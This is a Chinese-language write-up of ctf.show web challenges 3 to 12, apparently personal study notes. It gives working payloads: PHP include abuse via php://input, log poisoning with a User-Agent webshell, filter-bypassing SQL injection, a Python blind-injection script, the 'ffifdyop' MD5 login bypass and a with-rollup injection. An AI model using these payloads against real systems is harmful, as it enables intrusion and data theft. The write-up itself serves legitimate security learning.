web3
<?php include($_GET['url']);?>
php伪协议的标志。没有提示我们flag在哪个文件,filter试一下flag.php,flag,txt,flag都没有
用php://input试一下,burp抓包
发现了ctf_go_go_go,应该就是我们的flag文件。
post 传入 <?php system('cat ctf_go_go_go'); ?>
cat一下,得到flag。
web4
include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell;
这一关相比上一关,php伪协议被禁用了。web3的更高版本。但是仍存在
?url=/var/log/nginx/access.log //日志位置
我们可以通过日志注入来进行任意命令执行,getshell。
包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息
可以看见我们刚开始测试php伪协议时的记录。
burp抓包,在User-Agent中插入我们的一句话木马:
蚁剑链接,在www目录下得到flag。
所以以后我们遇见类似的题目时,php伪协议用不了可以尝试日志注入。
web 5
md5==绕过,做过好多了,不记录了。
web 6
sql注入,空格过滤,/**/代替。正常手工union查询即可
web 7
同web 6
web 8
输入单引号时,回显sql inje error。单引号被过滤,那就试试数值型注入。
输入union,逗号,and,空格发现也被过滤。
空格过滤用/**/来绕过。
逗号过滤,可以用特殊语法,substr(database(),1,1) -> substr(database() from 1 for 1)
首先通过万能密码,可知存在数值型注入。id=1/**/or/**/1=1
id=-1/**/or/**/ascii(substr(database()/**/from/**/1/**/for/**/1))=119
盲注来爆破一下数据库。试一下可不可行,在119时,页面回显为true。
因此存在盲注。我们可以通过bool一个一个字符判断数据库名,表名,字段名,找flag。
写python脚本来爆破一下数据库名,表名,字段名,flag:
import requests
url = "http://ae69fab0-9245-4f69-a6cc-96947a62baf8.challenge.ctf.show/?id=-1/**/or/**/"
r = requests.session()
f = ''
for i in range(1, 50):
count = 0
print("正在获取第%d个字符:" % i)
for j in range(31, 128):
# 数据库名
# payload="ascii(substr(database()/**/from/**/%d/**/for/**/1))=%d"%(i,j)
# 表名
# payload="ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d"
# 字段名
# payload="ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)from/**/%d/**/for/**/1))=%d"
# 数据
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d"
res = r.get(url + payload % (i, j))
if "If" in res.text:
f += chr(j)
print("数据库名/表名/字段名/数据为:%s" % f)
break
count += 1
if count >= (128 - 31):
exit()
web 9
进入页面之后,肯定存在sql注入。
/robots.txt看看有没有东西,发现了源代码
User-agent: *
Disallow: /index.phps
访问/index.phps 得到源码
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
根据源码可知,我们传入的password会加上 MD5($password,true)
MD5(,true)有一个小bug。ffifydop md5($a,true)之后为 'or'6xxxxxx
从而构造万能密码来登录。因此我们password输入ffifdyop。得到flag。
web10
这道题和上一道web就很像,但是访问robots.txt,没有给提示,估计是让用dirsearch.py 去扫。
这里我们直接访问/index.phps 获取源码。
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con){
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
看了看没有思路,只知道过滤了一些关键字。看其他大佬题解说是存在 with rollup注入绕过。涨新知识了。
with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)
我们使用万能用户名 a'/**/or/**/true/**/# 使SQL成立绕过用户名之后, 后台的SQL会查询出所有的用户信息, 然后依次判断查询处的用户名对应的密码和我们输入的密码是否相同, 这时候我们使用with rollup 对 group by 分组的结果再次进行求和统计, 由于with rollup 不会对group by 分组的字段( password)进行统计, 所以会在返回结果的最后一行用null来填充password, 这样一来我们的返回结果中就有了一个值为null的password , 只要我们登录的时候password输入框什么都不输, 那我么输入的password的值就是null, 跟查询出的用户密码相同( null == null), 从而登录成功
所以构造payload:admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#
web11
进去页面,看见了源码:
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
根据源码可知,我们要想得到flag。要满足:$password==$_SESSION['password']
而 password是由我们自己输入的,session中的password存储在本地,所以我们只需要输入空密码,并且将本地的session删除即可成功绕过。
F12 在存储里把SESSION 删除,输入空密码即可。
web12
查看源码得到hint:?cmd=
可能存在文件包含漏洞。试一下伪协议filter读取一下源码,未果。
cmd emmmm 再试一下命令执行。
?cmd=phpinfo(); 发现命令被执行。存在命令执行漏洞。
我在试着输入一些常用命令时没有回显,可能是被过滤了。看来其他师傅wp后,发现他们都是用glob()函数来遍历目录文件名。说实话我这个之前做命令执行题目时雀氏用的地方少,没有记住。只在原生类用过一下。 这里用到了也积累一下。
glob()函数可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录。
?cmd=print_r(glob("*"));
得到当前目录下两个文件名。那个特别长的估计就是flag,读取一下试试。
可以用highlight_file()函数 hightlight_file()可以使文件内容高亮显示, 常用于读取文件内容
也可以用 show_source()函数。
?cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php")得到flag。